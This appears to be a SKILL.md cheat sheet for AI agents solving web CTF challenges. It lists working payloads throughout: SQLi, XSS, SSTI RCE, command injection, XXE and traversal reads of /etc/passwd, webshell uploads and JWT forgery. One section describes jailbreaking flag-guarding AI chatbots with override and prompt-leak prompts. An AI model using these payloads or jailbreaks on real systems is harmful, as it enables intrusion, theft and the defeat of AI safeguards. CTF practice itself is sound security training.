ctf-web

SKILL.md

CTF Web Exploitation

Quick reference for web CTF challenges. Each technique has a one-liner here; see supporting files for full details with payloads and code.

Additional Resources

  • server-side.md - Core server-side injection attacks: SQLi, SSTI, SSRF, XXE, command injection, code injection (Ruby/Perl/Python), ReDoS, file upload→RCE, eval bypass, PHP type juggling, PHP file inclusion / php://filter, SSTI __dict__.update() quote bypass, ERB SSTI Sequel bypass, Thymeleaf SpEL SSTI + Spring FileCopyUtils WAF bypass
  • server-side-advanced.md - Advanced server-side techniques: ExifTool CVE-2021-22204, Go rune/byte mismatch, zip symlink traversal, path traversal bypasses (brace stripping, double URL encoding, os.path.join, %2f), Flask/Werkzeug debug mode, XXE external DTD filter bypass, WeasyPrint SSRF, MongoDB regex injection, Pongo2 Go template injection, ZIP PHP webshell, basename() bypass, React Server Components Flight RCE (CVE-2025-55182), SSRF→Docker API RCE chain
  • client-side.md - Client-side attacks: XSS, CSRF, CSPT, cache poisoning, DOM tricks, React input filling, hidden elements, XS-Leak timing oracle, GraphQL CSRF, Unicode case folding XSS bypass (long-s U+017F), CSS font glyph container query exfiltration, Hyperscript CDN CSP bypass, PBKDF2 prefix timing oracle
  • auth-and-access.md - Auth/authz attacks: JWT, session, password inference, weak validation, client-side gates, NoSQL auth bypass, OAuth/OIDC exploitation (redirect_uri bypass, token manipulation, state CSRF), CORS misconfiguration
  • node-and-prototype.md - Node.js: prototype pollution, VM sandbox escape, Happy-DOM chain, flatnest CVE, Lodash+Pug AST injection
  • web3.md - Blockchain/Web3: Solidity exploits, proxy patterns, ABI encoding tricks, transient storage clearing collision (0.8.28-0.8.33), Foundry tooling
  • cves.md - CVE-specific exploits: Next.js middleware bypass, curl credential leak, Uvicorn CRLF, urllib scheme bypass, ExifTool DjVu, broken auth, AAEncode/JJEncode, protocol multiplexing, React Server Components Flight RCE (CVE-2025-55182)

Reconnaissance

  • View source for HTML comments, check JS/CSS files for internal APIs
  • Look for .map source map files
  • Check response headers for custom X- headers and auth hints
  • Common paths: /robots.txt, /sitemap.xml, /.well-known/, /admin, /api, /debug, /.git/, /.env
  • Search JS bundles: grep -oE '"/api/[^"]+"' for hidden endpoints
  • Check for client-side validation that can be bypassed
  • Compare what the UI sends vs. what the API accepts (read JS bundle for all fields)
  • Check assets returning 404 status — favicon.ico, robots.txt may contain data despite error codes: strings favicon.ico | grep -i flag
  • Tor hidden services: feroxbuster -u 'http://target.onion/' -w wordlist.txt --proxy socks5h://127.0.0.1:9050 -t 10 -x .txt,.html,.bak

SQL Injection Quick Reference

Detection: Send ' — syntax error indicates SQLi

' OR '1'='1                    # Classic auth bypass
' OR 1=1--                     # Comment termination
username=\&password= OR 1=1--  # Backslash escape quote bypass
' UNION SELECT sql,2,3 FROM sqlite_master--  # SQLite schema
0x6d656f77                     # Hex encoding for 'meow' (bypass quotes)

XML entity encoding: UNIONUNION after XML parser decodes, bypasses WAF keyword filters.

See server-side.md for second-order SQLi, LIKE brute-force, SQLi→SSTI chains, XML entity WAF bypass.

XSS Quick Reference

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Filter bypass: hex \x3cscript\x3e, entities &#60;script&#62;, case mixing <ScRiPt>, event handlers.

See client-side.md for DOMPurify bypass, cache poisoning, CSPT, React input tricks.

Path Traversal / LFI Quick Reference

../../../etc/passwd
....//....//....//etc/passwd     # Filter bypass
..%2f..%2f..%2fetc/passwd        # URL encoding
%252e%252e%252f                  # Double URL encoding
{.}{.}/flag.txt                  # Brace stripping bypass

Python footgun: os.path.join('/app/public', '/etc/passwd') returns /etc/passwd

JWT Quick Reference

  1. alg: none — remove signature entirely
  2. Algorithm confusion (RS256→HS256) — sign with public key
  3. Weak secret — brute force with hashcat/flask-unsign
  4. Key exposure — check /api/getPublicKey, .env, /debug/config
  5. Balance replay — save JWT, spend, replay old JWT, return items for profit
  6. Unverified signature — modify payload, keep original signature
  7. JWK header injection — embed attacker public key in token header
  8. JKU header injection — point to attacker-controlled JWKS URL
  9. KID path traversal — ../../../dev/null for empty key, or SQL injection in KID

See auth-and-access.md for full JWT attacks and session manipulation.

SSTI Quick Reference

Detection: {{7*7}} returns 49

# Jinja2 RCE
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Go template
{{.ReadFile "/flag.txt"}}
# EJS
<%- global.process.mainModule.require('child_process').execSync('id') %>
# Jinja2 quote bypass (keyword args):
{{obj.__dict__.update(attr=value) or obj.name}}

Quote filter bypass: Use __dict__.update(key=value) — keyword arguments need no quotes. See server-side.md.

ERB SSTI (Ruby/Sinatra): <%= Sequel::DATABASES.first[:table].all %> bypasses ERBSandbox variable-name restrictions via the global Sequel::DATABASES array. See server-side.md.

Thymeleaf SpEL SSTI (Java/Spring): ${T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.File("/flag.txt"))} reads files via Spring utility classes when standard I/O is WAF-blocked. Works in distroless containers (no shell). See server-side.md.

SSRF Quick Reference

127.0.0.1, localhost, 127.1, 0.0.0.0, [::1]
127.0.0.1.nip.io, 2130706433, 0x7f000001

DNS rebinding for TOCTOU: https://lock.cmpxchg8b.com/rebinder.html

Command Injection Quick Reference

; id          | id          `id`          $(id)
%0aid         # Newline     127.0.0.1%0acat /flag

When cat/head blocked: sed -n p flag.txt, awk '{print}', tac flag.txt

XXE Quick Reference

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>

PHP filter: <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

PHP Type Juggling Quick Reference

Loose == performs type coercion: 0 == "string" is true, "0e123" == "0e456" is true (magic hashes). Send JSON integer 0 to bypass string password checks. strcmp([], "str") returns NULL which passes !strcmp(). Use === for defense.

See server-side.md for comparison table and exploit payloads.

PHP File Inclusion / LFI Quick Reference

php://filter/convert.base64-encode/resource=config leaks PHP source code without execution. Common LFI targets: /etc/passwd, /proc/self/environ, app config files. Null byte (%00) truncates .php suffix on PHP < 5.3.4.

See server-side.md for filter chains and RCE techniques.

Code Injection Quick Reference

Ruby instance_eval: Break string + comment: VALID');INJECTED_CODE# Perl open(): 2-arg open allows pipe: |command| JS eval blocklist bypass: row['con'+'structor']['con'+'structor']('return this')() PHP deserialization: Craft serialized object in cookie → LFI/RCE

See server-side.md for full payloads and bypass techniques.

Node.js Quick Reference

Prototype pollution: {"__proto__": {"isAdmin": true}} or flatnest circular ref bypass VM escape: this.constructor.constructor("return process")() → RCE Full chain: pollution → enable JS eval in Happy-DOM → VM escape → RCE

Prototype pollution permission bypass (Server OC, Pragyan 2026):

# When Express.js endpoint checks req.body.isAdmin or similar:
curl -X POST -H 'Content-Type: application/json' \
  -d '{"Path":"value","__proto__":{"isAdmin":true}}' \
  'https://target/endpoint'
# __proto__ pollutes Object.prototype, making isAdmin truthy on all objects

Key insight: Always try __proto__ injection on JSON endpoints, even when the vulnerability seems like something else (race condition, SSRF, etc.).

See node-and-prototype.md for detailed exploitation.

Auth & Access Control Quick Reference

  • Cookie manipulation: role=admin, isAdmin=true
  • Public admin-login cookie seeding: check if /admin/login sets reusable admin session cookie
  • Host header bypass: Host: 127.0.0.1
  • Hidden endpoints: search JS bundles for /api/internal/, /api/admin/; fuzz with auth cookie for non-/api routes like /internal/*
  • Client-side gates: window.overrideAccess = true or call API directly
  • Password inference: profile data + structured ID format → brute-force
  • Weak signature: check if only first N chars of hash are validated
  • Affine cipher OTP: only 312 possible values (12 mults × 26 adds), brute-force all in seconds
  • Express.js %2F middleware bypass: /api/export%2Fchat skips app.all("/api/export/chat") middleware; nginx decodes %2F before proxying
  • IDOR on WIP endpoints: grep for WIP/TODO/debug comments, compare auth decorators against production endpoints

See auth-and-access.md for full patterns.

File Upload → RCE

  • .htaccess upload: AddType application/x-httpd-php .lol + webshell
  • Gogs symlink: overwrite .git/config with core.sshCommand RCE
  • Python .so hijack: write malicious shared object + delete .pyc to force reimport
  • ZipSlip: symlink in zip for file read, path traversal for file write
  • Log poisoning: PHP payload in User-Agent + path traversal to include log

See server-side.md for detailed steps.

Multi-Stage Chain Patterns

0xClinic chain: Password inference → path traversal + ReDoS oracle (leak secrets from /proc/1/environ) → CRLF injection (CSP bypass + cache poisoning + XSS) → urllib scheme bypass (SSRF) → .so write via path traversal → RCE

Key chaining insights:

  • Path traversal + any file-reading primitive → leak /proc/*/environ, /proc/*/cmdline
  • CRLF in headers → CSP bypass + cache poisoning + XSS in one shot
  • Arbitrary file write in Python → .so hijacking or .pyc overwrite for RCE
  • Lowercased response body → use hex escapes (\x3c for <)

Useful Tools

sqlmap -u "http://target/?id=1" --dbs       # SQLi
ffuf -u http://target/FUZZ -w wordlist.txt   # Directory fuzzing
flask-unsign --decode --cookie "eyJ..."      # JWT decode
hashcat -m 16500 jwt.txt wordlist.txt        # JWT crack
dalfox url http://target/?q=test             # XSS

Flask/Werkzeug Debug Mode

Weak session secret brute-force + forge admin session + Werkzeug debugger PIN RCE. See server-side-advanced.md for full attack chain.

XXE with External DTD Filter Bypass

Host malicious DTD externally to bypass upload keyword filters. See server-side-advanced.md for payload and webhook.site setup.

JSFuck Decoding

Remove trailing ()(), eval in Node.js, .toString() reveals original code. See client-side.md.

DOM XSS via jQuery Hashchange (Crypto-Cat)

$(location.hash) + hashchange event → XSS via iframe: <iframe src="https://target/#" onload="this.src+='<img src=x onerror=print()>'">. See client-side.md.

Shadow DOM XSS

Proxy attachShadow to capture closed roots; (0,eval) for scope escape; </script> injection. See client-side.md.

DOM Clobbering + MIME Mismatch

.jpg served as text/html; <form id="config"> clobbers JS globals. See client-side.md.

HTTP Request Smuggling via Cache Proxy

Cache proxy desync for cookie theft via incomplete POST body. See client-side.md.

Path Traversal: URL-Encoded Slash Bypass

%2f bypasses nginx route matching but filesystem resolves it. See server-side-advanced.md.

WeasyPrint SSRF & File Read (CVE-2024-28184)

<a rel="attachment" href="file:///flag.txt"> or <link rel="attachment" href="http://127.0.0.1/admin"> -- WeasyPrint embeds fetched content as PDF attachments, bypassing header checks. Boolean oracle via /Type /EmbeddedFile presence. See server-side-advanced.md and cves.md.

MongoDB Regex / $where Blind Injection

Break out of /.../i with a^/)||(<condition>)&&(/a^. Binary search charCodeAt() for extraction. See server-side-advanced.md.

Pongo2 / Go Template Injection

{% include "/flag.txt" %} in uploaded file + path traversal in template parameter. See server-side-advanced.md.

ZIP Upload with PHP Webshell

Upload ZIP containing .php file → extract to web-accessible dir → file_get_contents('/flag.txt'). See server-side-advanced.md.

basename() Bypass for Hidden Files

basename() only strips dirs, doesn't filter .lock or hidden files in same directory. See server-side-advanced.md.

Custom Linear MAC Forgery

Linear XOR-based signing with secret blocks → recover from known pairs → forge for target. See auth-and-access.md.

CSS/JS Paywall Bypass

Content behind CSS overlay (position: fixed; z-index: 99999) is still in the raw HTML. curl or view-source bypasses it instantly. See client-side.md.

SSRF → Docker API RCE Chain

SSRF to unauthenticated Docker daemon on port 2375. Use /archive for file extraction, /exec + /exec/{id}/start for command execution. Chain through internal POST relay when SSRF is GET-only. See server-side-advanced.md.

HTTP TRACE Method Bypass

Endpoints returning 403 on GET/POST may respond to TRACE, PUT, PATCH, or DELETE. Test with curl -X TRACE. See auth-and-access.md.

LLM/AI Chatbot Jailbreak

AI chatbots guarding flags can be bypassed with system override prompts, role-reversal, or instruction leak requests. Rotate session IDs and escalate prompt severity. See auth-and-access.md.

Admin Bot javascript: URL Scheme Bypass

new URL() validates syntax only, not protocol — javascript: URLs pass and execute in Puppeteer's authenticated context. CSP/SRI on the target page are irrelevant since JS runs in navigation context. See client-side.md.

XS-Leak via Image Load Timing + GraphQL CSRF (HTB GrandMonty)

HTML injection → meta refresh redirect (CSP bypass) → admin bot loads attacker page → JavaScript makes cross-origin GET requests to localhost GraphQL endpoint via new Image().src → measures time-based SQLi (SLEEP(1)) through image error timing → character-by-character flag exfiltration. GraphQL GET requests bypass CORS preflight. See client-side.md.

React Server Components Flight Protocol RCE (Ehax 2026)

Identify via Next-Action + Accept: text/x-component headers. CVE-2025-55182: fake Flight chunk exploits constructor chain for server-side JS execution. Exfiltrate via NEXT_REDIRECT error → x-action-redirect header. WAF bypass: 'chi'+'ld_pro'+'cess' or hex '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'. See server-side-advanced.md and cves.md.

Unicode Case Folding XSS Bypass (UNbreakable 2026)

Pattern: Sanitizer regex uses ASCII-only matching (<\s*script), but downstream processing applies Unicode case folding (strings.EqualFold). <ſcript> (U+017F Latin Long S) bypasses regex but folds to <script>. Other pairs: ıi, K (U+212A)→k. See client-side.md.

CSS Font Glyph + Container Query Data Exfiltration (UNbreakable 2026)

Pattern: Exfiltrate inline text via CSS injection (no JS). Custom font assigns unique glyph widths per character. Container queries match width ranges to fire background-image requests — one request per character. Works under strict CSP. See client-side.md.

Hyperscript / Alpine.js CDN CSP Bypass (UNbreakable 2026)

Pattern: CSP allows cdnjs.cloudflare.com. Load Hyperscript (_= attributes) or Alpine.js (x-data, x-init) from CDN — they execute code from HTML attributes that sanitizers don't strip. See client-side.md.

Solidity Transient Storage Clearing Collision (0.8.28-0.8.33)

Pattern: Solidity IR pipeline (--via-ir) generates identically-named Yul helpers for delete on persistent and transient variables of the same type. One uses sstore, the other should use tstore, but deduplication picks only one. Exploits: overwrite owner (slot 0) via transient delete, or make persistent delete (revoke approvals) ineffective. Workaround: use _lock = address(0) instead of delete _lock. See web3.md.

Common Flag Locations

/flag.txt, /flag, /app/flag.txt, /home/*/flag*
Environment variables: /proc/self/environ
Database: flag, flags, secret tables
Response headers: x-flag, x-archive-tag, x-proof
Hidden DOM: display:none elements, data attributes
Weekly Installs
280
GitHub Stars
63
First Seen
Feb 1, 2026
Installed on
opencode270
codex269
gemini-cli259
github-copilot257
amp255
kimi-cli255